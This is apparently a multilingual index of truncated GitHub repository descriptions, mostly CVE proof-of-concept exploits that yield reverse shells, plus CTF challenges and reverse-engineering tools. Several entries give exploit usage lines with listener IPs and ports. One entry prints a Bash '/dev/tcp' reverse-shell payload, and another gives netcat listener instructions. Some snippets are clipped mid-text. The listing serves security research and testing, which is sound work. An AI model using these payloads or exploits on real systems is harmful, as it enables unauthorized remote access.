CVE-2023-34468

CVE-2023-34468 — Apache NiFi ExecuteSQL H2 RUNSCRIPT RCE PoC Petite preuve de concept en Python pour abuser d'un processeur ExecuteSQL Apache NiFi modifiable avec une charge utile H2 RUNSCRIPT afin de déclencher l'exécution de commandes à distance via un reverse shell Bash. Uniquement pour les...

CVE-2026-27971_POC

CVE-2026-27971 — Qwik server$ बिना प्रमाणीकरण के RCE PoC !WARNING इस रिपॉजिटरी में एक सक्रिय रिमोट-कोड-एक्जीक्यूशन प्रूफ ऑफ कॉन्सेप्ट है। इसका उपयोग केवल उन प्रणालियों पर करें जिनके आप मालिक हैं या जिनका परीक्षण करने की आपको स्पष्ट अनुमति है। लेखक अनधिकृत उपयोग या क्षति के लिए कोई जिम्मेदारी नहीं...

CVE-2024-4157-SSRF-RCE-Reverse-Shell

CVE-2024-4157: Getting Reverse Shell on Havoc C2 - Chaining SSRF with RCE Get reverse-shell with local IP and Port, chaining CVE-2024-4157 POC with havocauthrce Usage Basic info $ python3 exploit.py usage: exploit.py -h -t TARGET -i IP -p PORT -A USERAGENT -H HOSTNAME -u USERNAME -d DOMAINNAME -n...

ghidra-firmware-utils

أدوات Ghidra للبرامج الثابتة وحدات متنوعة لـ Ghidra للمساعدة في الهندسة العكسية للبرامج الثابتة لأجهزة الكمبيوتر. تم قبول هذا كمشروع coreboot لـ GSoC 2019. الميزات مُحمّل خيارات ROM لواجهة PCI ينفّذ مُحمّل نظام ملفات لخيارات ROM لواجهة PCI يتعامل مع ROMs الهجينة التي تحتوي على صور متعددة، مثل x86...

BlueDoor

BlueDoor CTF चुनौती अवलोकन चुनौती का नाम : BlueDoor CVE : CVE-2017-0144 EternalBlue कठिनाई : 3/5 श्रेणी : एक्सप्लॉइटेशन, विंडोज़ लेखक : सेठ डेविस BlueDoor एक Windows 7 प्रणाली में एक वास्तविक दुनिया की भेद्यता EternalBlue - CVE-2017-0144 का अनुकरण करता है। उद्देश्य भेद्यता का शोषण करना,...

CVE-2022-42889-text4shell

CVE-2022-42889-text4shell विवरण यह स्क्रिप्ट एक पेनिट्रेशन टेस्टिंग टूल है जिसे Apache Commons Text संस्करण -param $PARAMETER -L $LHOST -P $LPORT उदाहरण python3 exploit.py -t 10.10.10.10 -p 8080 -u /search/ -param query -L 10.10.14.5 -P 139 अस्वीकरण यह उपकरण केवल शैक्षिक उद्देश्यों और अधिकृत...

CVE-2024-4439

استغلال CVE-2024-4439 يوضح هذا السكربت المكتوب بلغة Python استغلالًا للثغرة الأمنية CVE-2024-4439. يمكنك استخدام هذا السكربت لاختبار موقع ووردبريس عرضة للخطر. الاستخدام قبل البدء git clone https://github.com/soltanali0/CVE-2024-4439.git cd CVE-2024-4439 pip install -r r.txt --break-system-package...

CVE-2023-38646

CVE-2023-38646 النص الأصلي مأخوذ من securezeron خلال اختباراتي، وجدت أن الـ reverse shell الذي يولّده هذا الـ PoC يفشل في الاستغلال بسبب حرف '=' في النهاية بعد ترميز base6. قمت بتعديل بسيط عليه لحل هذه المشكلة. 原始的生成reverse shell负载的代码 base64.b64encode"bash -i &/dev/tcp/10.10.14.59/8080...

binary-cartography

رسم الخرائط الثنائية ندوات تقنية عبر الويب حول الهندسة العكسية وتحليل البرمجيات الخبيثة وحماية البرمجيات. يستضيف هذا المستودع مواد رسم الخرائط الثنائية Binary Cartography، وهي سلسلة ندوات مستقلة عبر الويب يقدمها Tim حول أمن الملفات الثنائية. يتركز الاهتمام على الهندسة العكسية العملية وتحليل...

CVE-2021-31630

CVE-2021-31630 CVE-2021-31630 के PoC स्क्रिप्ट को Fellipe Oliveira द्वारा HTB के लिए संशोधित किया गया उपयोग 'उदाहरण उपयोग: exploit.py -u http://target-uri:8080 -l admin -p admin -i 192.168.1.54 -r 4444 -P program.st"'...

CVE-2019-15107

CVE-2019-15107 POC pour CVE 2019-15107 Utilisation à des fins éducatives uniquement. Pour utiliser, ouvrez un listener sur votre machine nc -lnvp Modifiez la commande perl pour qu'elle corresponde à votre IP et à votre port. Lancez le script, un reverse shell s'ouvrira sur votre listener. Le scri...

POC-exploit-for-Dolibarr

POC exploit for Dolibarr example: python3 exploit.py http://example.com login password 127.0.0.1 9001 ---Reverse Shell Exploit for Dolibarr = 17.0.0 CVE-2023-30253--- positional arguments: hostname Target hostname username Username of Dolibarr ERP/CRM password Password of Dolibarr ERP/CRM lhost...

kunglao-agent

kunglao-agent kunglao-agent is an autonomous reverse-engineering system. You hand it a target and the questions you need answered; it works the problem for hours or days on its own — planning its own path, recovering from worker deaths, resuming after crashes — and converges only when every answe...

CVE-2021-22204

CVE-2021-22204 Vulnerability exiftool Arbitrary Command Execution Usage 1. Set the IP and port to receive the reverse shell in the exploit.py file, then run docker compose up 2. After accessing the docker shell, running python3 exploit.py in the /root path will generate the image.jpg attack code ...

cve-2023-4220-poc

CVE-2023-4220 استغلال Chamilio PoC تم نسخه بلا خجل من مستلهم مباشرة من: https://starlabs.sg/advisories/23/23-4220/ الاستخدام: Chamilio CVE-2023-4220 POC Exploit positional arguments: url The Chamilio Url. e.g. http://example.com options: -h, --help show this help message and exit -c C The command...

CVE-2020-8165

CVE-2020-8165.py A shell for CVE-2020-8165 exploit: https://github.com/masahiro331/CVE-2020-8165 Usage: CVE-2020-8165.py IP IP:PORT CVE-2020-8165.py 2.3.2.3 10.10.10.10:4444...

CVE-2023-46604

CVE-2023-46604 Build a docker-compose containing 2 images: the victim machine and the target machine, according to the required environment. On the victim machine, start ActiveMQ Switch to the attacker machine: • Start an HTTP service to send the PoC: python3 -m http.server • Use netcat to listen...

CVE-2024-39069

ifood Order Manager 'Gestor de Peddios.exe' - DLL hijacking An attacker places a malicious DLL named "d3d12.dll" in a directory that is searched by the application before the legitimate "d3d12.dll" is found. When the application is launched, it loads the malicious DLL instead of the legitimate on...

CVE-2021-3456

CVE-2021-3456 एक व्यावहारिक श्रृंखला जो एक हानिरहित PDF फ़ाइल से शुरू होती है और AWS EC2 इंस्टेंस पर रिवर्स शेल पर समाप्त होती है शुरुआत: PDF पेलोड तैयार करना यह सब हमले के फ्रंट एंड से शुरू होता है। PowerShell के अंतर्निहित WScript ऑब्जेक्ट का उपयोग करके, हम एक PDF के अंदर एक स्क्रिप्ट एम्बेड कर...

CrackMeZ3S-CTF-CrackMe-Tutorial

كيفية كتابة CrackMe لمسابقة CTF مع تزايد شعبية مسابقات CTF التقاط العلم، والأداء الممتاز للفرق البولندية مثل Dragon Sector في هذا المجال، اعتقدت أنه سيكون من المثير للاهتمام توضيح بناء CrackMe بسيط، باستخدام بعض التقنيات الإبداعية التي تجعل من الصعب كسره وتحليله. إذا كنت قد تساءلت يوماً عن الهندس...